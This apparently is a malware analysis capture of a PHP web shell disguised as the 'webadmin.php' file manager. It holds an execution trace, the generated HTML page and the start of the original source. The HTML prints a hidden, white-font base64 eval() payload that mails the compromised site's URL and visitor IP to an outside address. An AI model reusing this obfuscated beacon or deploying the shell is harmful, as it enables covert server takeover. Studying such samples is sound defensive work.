4	426	0	0.021324	801944	urlencode	0		/var/www/html/uploads/up.php	1292	1	'/var/www/html/uploads/up.php'
4	426	1	0.021336	802040
4	426	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fup.php'
4	427	0	0.021353	801992	html	1		/var/www/html/uploads/up.php	1292	1	'up.php'
5	428	0	0.021364	801992	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'up.php'	2	'ISO-8859-1'
5	428	1	0.021379	802264
5	428	R			'up.php'
4	427	1	0.021393	802152
4	427	R			'up.php'
4	429	0	0.021408	801880	human_filesize	1		/var/www/html/uploads/up.php	1300	1	80504
4		A						/var/www/html/uploads/up.php	1148	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/up.php	1150	$n = 0
4		A						/var/www/html/uploads/up.php	1152	$filesize /= 1024
4		A						/var/www/html/uploads/up.php	1153	$n++
5	430	0	0.021471	801880	strpos	0		/var/www/html/uploads/up.php	1156	2	78.6171875	'.'
5	430	1	0.021488	802208
5	430	R			2
5	431	0	0.021502	801880	round	0		/var/www/html/uploads/up.php	1156	2	78.6171875	1
5	431	1	0.021515	801952
5	431	R			78.6
4		A						/var/www/html/uploads/up.php	1156	$filesize = 78.6
5	432	0	0.021539	801880	strpos	0		/var/www/html/uploads/up.php	1158	2	78.6	'.'
5	432	1	0.021553	802208
5	432	R			2
5	433	0	0.021567	801880	substr	0		/var/www/html/uploads/up.php	1159	3	78.6	-1	1
5	433	1	0.021580	802232
5	433	R			'6'
5	434	0	0.021594	801880	in_array	0		/var/www/html/uploads/up.php	1159	2	'6'	[0 => '0', 1 => '.']
5	434	1	0.021610	801952
5	434	R			FALSE
5	435	0	0.021624	801880	substr	0		/var/www/html/uploads/up.php	1164	3	'kMGTPE'	0	1
5	435	1	0.021637	801976
5	435	R			'k'
4		A						/var/www/html/uploads/up.php	1164	$suffix = 'k'
4	429	1	0.021662	801912
4	429	R			'78.6 kB'
3		A						/var/www/html/uploads/up.php	1300	$human = ' title="78.6 kB"'
4	436	0	0.021689	801928	decoct	0		/var/www/html/uploads/up.php	1311	1	33204
4	436	1	0.021702	802000
4	436	R			'100664'
4	437	0	0.021715	801928	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	437	1	0.021729	801968
4	437	R			TRUE
4	438	0	0.021742	801928	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	438	1	0.021755	801928
4	438	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	439	0	0.021777	801928	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	33204
4		A						/var/www/html/uploads/up.php	961	$type = '-'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= '-'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= 'w'
4		A						/var/www/html/uploads/up.php	987	$group .= '-'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= '-'
4		A						/var/www/html/uploads/up.php	995	$other .= '-'
4	439	1	0.021892	801968
4	439	R			'-rw-rw-r--'
4	440	0	0.021906	801968	html	1		/var/www/html/uploads/up.php	1315	1	'-rw-rw-r--'
5	441	0	0.021918	801968	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'-rw-rw-r--'	2	'ISO-8859-1'
5	441	1	0.021933	802240
5	441	R			'-rw-rw-r--'
4	440	1	0.021947	802128
4	440	R			'-rw-rw-r--'
4	442	0	0.021962	801928	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	442	1	0.021992	801992
4	442	R			TRUE
4	443	0	0.022006	801928	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	443	1	0.022035	801992
4	443	R			TRUE
4	444	0	0.022049	802024	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/up.php'
5	445	0	0.022061	802024	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/up.php'	2	'ISO-8859-1'
5	445	1	0.022076	802296
5	445	R			'/var/www/html/uploads/up.php'
4	444	1	0.022092	802184
4	444	R			'/var/www/html/uploads/up.php'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	446	0	0.022117	801552	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	446	1	0.022131	801592
4	446	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	447	0	0.022156	801928	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/up.php'
4	447	1	0.022168	802016
4	447	R			'/var/www/html/uploads'
4	448	0	0.022183	801984	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	448	1	0.022204	802024
4	448	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
3		A						/var/www/html/uploads/up.php	1348	$actions[] = 'copy'
3		A						/var/www/html/uploads/up.php	1349	$actions[] = 'download'
4	449	0	0.022270	801928	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	449	1	0.022283	801968
4	449	R			TRUE
4	450	0	0.022297	801928	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	450	1	0.022315	801960
4	450	R			6
4	451	0	0.022329	802024	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	451	1	0.022342	802312
4	451	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	452	0	0.022358	801992	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	453	0	0.022371	801992	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	453	1	0.022387	802264
5	453	R			'create symlink'
4	452	1	0.022402	802152
4	452	R			'create symlink'
4	454	0	0.022417	801984	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	455	0	0.022429	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	455	1	0.022443	802256
5	455	R			'delete'
4	454	1	0.022457	802144
4	454	R			'delete'
4	456	0	0.022470	801984	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	457	0	0.022483	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	457	1	0.022497	802256
5	457	R			'rename'
4	456	1	0.022511	802144
4	456	R			'rename'
4	458	0	0.022525	801976	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	459	0	0.022537	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	459	1	0.022551	802248
5	459	R			'move'
4	458	1	0.022566	802136
4	458	R			'move'
4	460	0	0.022579	801976	word	1		/var/www/html/uploads/up.php	1363	1	'copy'
5	461	0	0.022591	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'copy'	2	'ISO-8859-1'
5	461	1	0.022606	802248
5	461	R			'copy'
4	460	1	0.022619	802136
4	460	R			'copy'
4	462	0	0.022633	801984	word	1		/var/www/html/uploads/up.php	1363	1	'download'
5	463	0	0.022646	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'download'	2	'ISO-8859-1'
5	463	1	0.022660	802256
5	463	R			'download'
4	462	1	0.022674	802144
4	462	R			'download'
3		A						/var/www/html/uploads/up.php	1245	$i++
4	464	0	0.022698	801928	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	464	1	0.022779	801960
4	464	R			6
4	465	0	0.022794	802152	sizeof	0		/var/www/html/uploads/up.php	1381	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	465	1	0.022861	802184
4	465	R			6
4	466	0	0.022875	802248	html	1		/var/www/html/uploads/up.php	1383	1	'/var/www/html/uploads/'
5	467	0	0.022887	802248	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/'	2	'ISO-8859-1'
5	467	1	0.022902	802520
5	467	R			'/var/www/html/uploads/'
4	466	1	0.022917	802408
4	466	R			'/var/www/html/uploads/'
3		A						/var/www/html/uploads/up.php	1386	$actions = []
4	468	0	0.022943	801552	dirname	0		/var/www/html/uploads/up.php	1387	1	'/var/www/html/uploads/up.php'
4	468	1	0.022955	801640
4	468	R			'/var/www/html/uploads'
4	469	0	0.022970	801608	is_writable	0		/var/www/html/uploads/up.php	1387	1	'/var/www/html/uploads'
4	469	1	0.022990	801648
4	469	R			TRUE
3		A						/var/www/html/uploads/up.php	1388	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1389	$actions[] = 'move'
3		A						/var/www/html/uploads/up.php	1391	$actions[] = 'copy'
4	470	0	0.023036	801928	str_repeat	0		/var/www/html/uploads/up.php	1394	2	'&nbsp;'	30
4	470	1	0.023050	802216
4	470	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	471	0	0.023069	801984	word	1		/var/www/html/uploads/up.php	1398	1	'delete'
5	472	0	0.023082	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	472	1	0.023097	802256
5	472	R			'delete'
4	471	1	0.023111	802144
4	471	R			'delete'
4	473	0	0.023125	801976	word	1		/var/www/html/uploads/up.php	1398	1	'move'
5	474	0	0.023137	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	474	1	0.023152	802248
5	474	R			'move'
4	473	1	0.023165	802136
4	473	R			'move'
4	475	0	0.023179	801976	word	1		/var/www/html/uploads/up.php	1398	1	'copy'
5	476	0	0.023191	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'copy'	2	'ISO-8859-1'
5	476	1	0.023206	802248
5	476	R			'copy'
4	475	1	0.023220	802136
4	475	R			'copy'
3	203	1	0.023233	801392
3	477	0	0.023241	801392	html_footer	1		/var/www/html/uploads/up.php	1221	0
3	477	1	0.023253	801392
2	50	1	0.023262	792072
1	3	1	0.023275	792072
			0.023332	573832
TRACE END   [2023-02-12 23:47:31.206237]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>

<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="up.php" method="post">

<table id="main">
<tbody><tr>
	<td colspan="7" id="directory">
		<a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
		<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
		<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
	</td>
</tr>
<tr>
	<td colspan="7" id="upload">
		File:
		<input type="file" name="upload" onfocus="activate('other')">
		<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
	</td>
</tr>
<tr>
	<td colspan="7" id="create">
		<select name="create_type" size="1" onfocus="activate('create')">
		<option value="file">File</option>
		<option value="directory">Directory</option>
		</select>
		<input type="text" name="create_name" onfocus="activate('create')">
		<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
	</td>
</tr>
<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="up.php?image=smiley" alt="smiley"></th>
	<th class="filename"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=filename&amp;reverse=true">Filename</a> ∧</th>
	<th class="size"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=size">Size</a></th>
	<th class="permission"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=permission">Permission</a></th>
	<th class="owner"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=owner">Owner</a></th>
	<th class="group"><a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=group">Group</a></th>
	<th class="functions">Functions</th>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:59, ctime: 2/12/23 20:46:58"><img src="up.php?image=folder" alt="folder"> [ <a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ]</td>
	<td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file0" value="/var/www/html/.">
		<select class="small" name="action0" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:14:46, ctime: 2/12/23 20:46:58"><img src="up.php?image=folder" alt="folder"> [ <a href="up.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ]</td>
	<td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file1" value="/var/www/html/..">
		<select class="small" name="action1" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:58, ctime: 2/12/23 20:46:58"><img src="up.php?image=file" alt="file"> <a href="up.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
	<td class="size">0 B</td>
	<td class="permission" title="100644">-rw-r--r--</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
		<select class="small" name="action2" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 20:46:58, atime: 2/12/23 20:46:59, ctime: 2/12/23 20:46:58"><img src="up.php?image=file" alt="file"> <a href="up.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fup.php">up.php</a></td>
	<td class="size" title="78.6 kB">80504 B</td>
	<td class="permission" title="100664">-rw-rw-r--</td>
	<td class="owner" title="uid: 1000">osboxes</td>
	<td class="group" title="gid: 1000">osboxes</td>
	<td class="functions">
		<input type="hidden" name="file3" value="/var/www/html/up.php">
		<select class="small" name="action3" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="up.php?image=arrow" alt=">"></td>
	<td colspan="6">
		<input type="hidden" name="num" value="4">
		<input type="hidden" name="focus" value="">
		<input type="hidden" name="olddir" value="/var/www/html/">
		<select class="small" name="action_all" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="delete">delete</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		</select>
		<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
	</td>
</tr>
</tbody></table>

</form>


<font color="#FFFFFF">
<!--? $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));?--><font color="#FFFFFF">
<br>
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br>
</font></font></body></html>

Original PHP code

<?php
/*
 * webadmin.php - a simple Web-based file manager
 * Copyright (C) 2004  Daniel Wacker <daniel.wacker@web.de>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 10
 * =========================================================================
 *
 * Changes of revision 10
 * <alex-smirnov@web.de>
 *    added Russian translation
 * <daniel.wacker@web.de>
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * <ava@asl.se>
 *    new list order: folders first
 *
 * Changes of revision 9
 * <daniel.wacker@web.de>
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * <okankan@stud.sdu.edu.tr>
 *    added Turkish translation
 * <j@kub.cz>
 *    added Czech translation
 * <daniel.wacker@web.de>
 *    improved charset handling
 *
 * Changes of revision 7
 * <szuniga@vtr.net>
 *    added Spanish translation
 * <lars@soelgaard.net>
 *    added Danish translation
 * <daniel.wacker@web.de>
 *    improved rename dialog
 *
 * Changes of revision 6
 * <nederkoorn@tiscali.nl>
 *    added Dutch translation
 *
 * Changes of revision 5
 * <daniel.wacker@web.de>
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * <daloan@guideo.fr>
 *    added French translation
 * <anders@wiik.cc>
 *    added Swedish translation
